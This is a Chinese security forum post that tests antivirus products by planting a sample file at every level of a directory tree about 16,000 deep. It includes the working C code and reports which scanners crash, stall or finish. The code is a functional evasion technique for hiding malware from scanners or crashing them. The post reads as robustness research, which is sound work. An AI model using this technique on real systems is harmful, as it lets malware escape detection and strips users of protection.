震惊!他竟用这一招让杀软崩溃!<2>
2020-06-22 15:32:43 Author: bbs.pediy.com(查看原文) 阅读量:421 收藏

bjtwokeight

雪    币: 2832

活跃值: 活跃值 (36)

能力值:

( LV3,RANK:30 )

在线值:

[原创]震惊!他竟用这一招让杀软崩溃!<2>

6天前 1272

前一篇地址
昨天的实验测试有个问题,那就是病毒才放了508个,后来检查发现原来是wprintf的缓冲区只能1024个字节,于是我修复了这个问题,对昨天没出问题的杀软再进行一次测试。

目录

利用W版文件函数创建超深路径目录,并在目录中沿途放置病毒,以测试各大杀软扫描器。

// 最大目录深度测试
// 用于测试扫描目录会不会崩溃

#include <windows.h>
#include <stdio.h>
#include <strsafe.h>

wchar_t dirname[32767 + 1] = { LR"(\\?\C:\)" };
wchar_t virusname[32767 + 100] = { 0 };

//   \\?\c:\      32767 - 7 = 32760     32760 / 2 = 16380

int main(int argc, char** argv)
{
    for (int i = 0; i < 16380; ++i)
    {
        wcscat_s(dirname, LR"(a\)");

        if (CreateDirectoryW(dirname, NULL))
        {
            ;
            // printf("创建成功:%ls\n", dirname);
        }
        else
        {
            printf("创建失败:%ls 此时的i==%d\n", dirname, i);
            break;
        }

        StringCbPrintfW(virusname, (32767 + 100) * 2, L"%sv", dirname);


        if (CopyFileW(L"c:\\virus", virusname, TRUE))
        {
            printf("copy success! i==%d\n", i);
        }
        else
        {
            ;
            DWORD dwerr = GetLastError();
            printf("copy failed! %d \n", dwerr);
        }

    }
    system("pause");
    return 0;
}
copy success! i==16356
copy success! i==16357
copy success! i==16358
copy success! i==16359
copy success! i==16360
copy success! i==16361
copy success! i==16362
copy success! i==16363
copy success! i==16364
copy success! i==16365
copy success! i==16366
copy failed! 206
创建失败:\\?\C:\a\a\a\a\a\a\a\a....\a 此时的i==16368

一共放置了0~16366共16367个病毒,0~16367一共16368个目录,16367+16368 = 32735, 用everything验证一下(everything也卡了半天):

没错,数字正确,接下来啊开始测试。

今天主要来测试的就是昨天成功扫出508个,但由于我的BUG导致没法继续测试的杀软。

金山毒霸V11

今天点自定义查杀没有昨天的黑了十几秒的问题,不知道是不是我虚拟机问题。

看来还是昨天测试得不够猛,今天可以明显地看出kscan的内存也在不断上升。

到了10024个文件的时候突然弹了一个runtime library的窗口:

然而这窗口透明的,也不知道它显示了什么,在这之后扫描似乎没有继续下去了:

把弹出的窗口关闭,可以看到程序错误:

阵亡了,下一个。

江民速智版V19

这个真的是让我震惊了,看起来这个东西UI这么简陋,扫描器真是意外地强大,16387个病毒全部扫出来了,而且只花了3分钟,这个扫描器真的是有东西的啊。

不过查看日志的时候照样卡死。

360杀毒

不知为什么扫描时会闪烁显示这个字符串:

扫到2044个之后,再也没增加了,另外我的explorer似乎卡死了,360杀毒实时监控崩溃:

360安全卫士

在扫了大概一小时四十七分钟后,崩溃了,那一瞬间我没捕捉到。 可以看到资源监视器中的下降波形,是它崩溃的形状。

卡巴斯基(kis20.0.14.1085_zh-hans-cn_full)

扫描到1068个之后卡住,然后看着everything中对象数目从32735龟速下降:

32735-1068=31667, 看它到了这个数之后还会不会继续减少吧。

可以看到卡巴只扫描1068级目录

  1. 火绒,瑞星瞬间崩溃
  2. 腾讯电脑管家查杀131级目录,卡巴斯基查杀1068级目录
  3. 360杀毒扫描2000多个文件后卡住, 实时监控崩溃
  4. 360安全扫描1小时47分钟后崩溃
  5. 金山毒霸扫描2小时之后崩溃
  6. 江民速智成为最大赢家,3分钟全部扫描完毕。

前一篇地址

[培训]《安卓高级研修班(网课)》9月班开始招生!挑战极限、工资翻倍!

最后于 4天前 被bjtwokeight编辑 ,原因: 增加卡巴斯基测试


文章来源: https://bbs.pediy.com/thread-260118.htm
如有侵权请联系:admin#unsafe.sh